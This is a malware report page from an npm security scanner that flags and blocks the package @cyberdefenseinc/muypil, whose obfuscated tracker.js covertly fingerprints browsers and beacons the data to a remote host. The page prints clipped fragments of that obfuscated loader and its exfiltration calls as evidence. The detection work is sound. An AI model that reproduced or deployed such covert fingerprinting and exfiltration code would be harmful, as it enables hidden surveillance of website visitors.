Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@cyberdefenseinc/muypil@1.0.4: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

A remote operator receives detailed device and browser identifiers plus page and pointer activity, enabling cross-session tracking.

View on npm All versions

registry / @cyberdefenseinc/muypil / 1.0.4

@cyberdefenseinc/muypil@1.0.4

Muypil™ - Tracker Javascript Library ========================

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The browser script covertly fingerprints visitors and transmits tracking data to a remote endpoint. It activates when the page URL carries the hidden tracking parameter.

Static reason

One or more suspicious static signals were detected.

Trigger

A browser loads tracker.js on a page whose URL includes __mp_ulid.

Impact

A remote operator receives detailed device and browser identifiers plus page and pointer activity, enabling cross-session tracking.

Mechanism

Obfuscated browser fingerprinting and event-data exfiltration via beacon or fetch.

Attack narrative

When included in a browser page, the obfuscated script reads a hidden URL parameter and installs page-load, unload, click, and pointer listeners. It compiles a broad fingerprint using browser APIs and sends serialized records to a remote Muypil API through sendBeacon or fetch. This substantially exceeds the stated interaction-tracking description and conceals collection through obfuscation.

Rationale

The package contains a concealed browser surveillance payload that exfiltrates extensive fingerprint and interaction data to a remote host. Although it has no npm lifecycle hook, the loaded runtime behavior is concrete malicious data exfiltration.

Evidence

tracker.js

Network endpoints1

api-v1.muypil.com/tracker/path

Decision evidence

public snapshot

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

AI called this Malicious at 94.0% confidence as Malware with low false-positive risk.

Evidence for block

tracker.js is deliberately obfuscated, concealing its runtime behavior.
The browser payload automatically sends JSON with sendBeacon or fetch to api-v1.muypil.com.
It gathers extensive browser fingerprint, permission, battery, WebGL, audio, storage, and input-event data.
Activation is gated by a __mp_ulid URL parameter, then event listeners transmit page and pointer activity.

Evidence against

package.json has no install lifecycle hook or dependencies.
No filesystem writes, shell execution, credential-file access, or dynamic code execution were found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

MinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 14.5 KB of source

Source & flagged code

7 flagged · loading source

tracker.jsView file

1const _0x335f8b=_0x1f99;function _0x1f99(_0x456f91,_0x99c651){const _0x4aaebc=_0x4f87();return _0x1f99=function(_0x3e0e69,_0x37b1e1){_0x3e0e69=_0x3e0e69-(-0x7*0x13d+-0x1*0xbb6+-0x1...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

tracker.jsView on unpkg · L1

1const _0x335f8b=_0x1f99;function _0x1f99(_0x456f91,_0x99c651){const _0x4aaebc=_0x4f87();return _0x1f99=function(_0x3e0e69,_0x37b1e1){

High

Ai Review Evidence

tracker.js is deliberately obfuscated, concealing its runtime behavior.

tracker.jsView on unpkg · L1

1navigator[_0xb9753(0x1c3)]?navigator[_0xb9753(0x1c3)](''+_0x4be6af+this[_0xb9753(0x20d)],new Blob([JSON[_0xb9753(0x243)](this[_0xb9753(0x1aa)])],{'type':_0x4f1f41[_0xb9753(0x1a5)]}))

High

Ai Review Evidence

The browser payload automatically sends JSON with sendBeacon or fetch to api-v1.muypil.com.

tracker.jsView on unpkg · L1

1'permission','ECDwa','el_ratio','tiltY','event','baseLatenc','send','age','audio_outp','availWidth'

High

Ai Review Evidence

It gathers extensive browser fingerprint, permission, battery, WebGL, audio, storage, and input-event data.

tracker.jsView on unpkg · L1

1'WEBGL_debu','sendBeacon','feature_lo','cBLnE','battery_le','getContext','35xiuDRR','cal_storag','audio_base'

High

Ai Review Evidence

It gathers extensive browser fingerprint, permission, battery, WebGL, audio, storage, and input-event data.

tracker.jsView on unpkg · L1

1},_0xd2d1eb=new URL(window[_0x335f8b(0x15d)][_0x335f8b(0x1d0)])[_0x335f8b(0x1cd)+'ms'][_0x335f8b(0x19e)](_0x335f8b(0x222));

High

Ai Review Evidence

Activation is gated by a __mp_ulid URL parameter, then event listeners transmit page and pointer activity.

tracker.jsView on unpkg · L1

1if(_0xd2d1eb)_0x5f43be(_0xd2d1eb);

High

Ai Review Evidence

Activation is gated by a __mp_ulid URL parameter, then event listeners transmit page and pointer activity.

tracker.jsView on unpkg · L1

Findings

8 High1 Medium1 Low

HighObfuscated Payload Loadertracker.js

HighObfuscated

HighAi Review Evidencetracker.js

HighAi Review Evidencetracker.js

HighAi Review Evidencetracker.js

HighAi Review Evidencetracker.js

HighAi Review Evidencetracker.js

HighAi Review Evidencetracker.js

MediumStructural Risk Force Deep Review

LowScripts Present

94%Block

Verdict confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version1.0.4

PublishedSep 3, 2026

LicenseISC

Dependencies0

Integrityverified

Package size4.90 KB

Files3

Runtime surface

package.json

Entrypointsmain → tracker.min.js

RuntimeNo engine / OS / CPU constraints

Artifact15.0 KB · 3 files1 signature(s)

Install lifecycleNo install hooks · other: test

Behavioral surface

Source: cleanMinifiedObfuscatedTrivialManifest: clean

LPM CLI

Source & flagged code

7 flagged

tracker.jsView file

Lines 1-1javascript

1const _0x335f8b=_0x1f99;function _0x1f99(_0x456f91,_0x99c651){const _0x4aaebc=_0x4f87();return _0x1f99=function(_0x3e0e69,_0x37b1e1){_0x3e0e69=_0x3e0e69-(-0x7*0x13d+-0x1*0xbb6+-0x15b9*-0x1);let _0x29f737=_0x4aaebc[_0x3e0e69];return _0x29f737;},_0x1f99(_0x456f91,_0x99c651);}(function(_0x348dcd,_0x50be9f){const _0x27c5b8=_0x1f99,_0x4d902c=_0x348dcd();while(!![]){try{const _0x554999=-parseInt(_0x27c5b8(0x158))/(0x2f6*-0x3+0x1d*0xe8+-0x1165)+-parseInt(_0x27c5b8(0x17d))/(0x2f*0x6+0x1*0x14b1+-0xa9*0x21)*(-parseInt(_0x27c5b8(0x1cb))/(-0x2031+0xe5*0x1f+0x1*0x479))+parseInt(_0x27c5b8(0x210))/(-0xe3a+0x ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

tracker.js is deliberately obfuscated, concealing its runtime behavior.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

The browser payload automatically sends JSON with sendBeacon or fetch to api-v1.muypil.com.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

It gathers extensive browser fingerprint, permission, battery, WebGL, audio, storage, and input-event data.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

It gathers extensive browser fingerprint, permission, battery, WebGL, audio, storage, and input-event data.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

Activation is gated by a __mp_ulid URL parameter, then event listeners transmit page and pointer activity.

tracker.jsView on unpkg · L1

High

Ai Review Evidence

Activation is gated by a __mp_ulid URL parameter, then event listeners transmit page and pointer activity.

tracker.jsView on unpkg · L1

Long lines were clipped for display.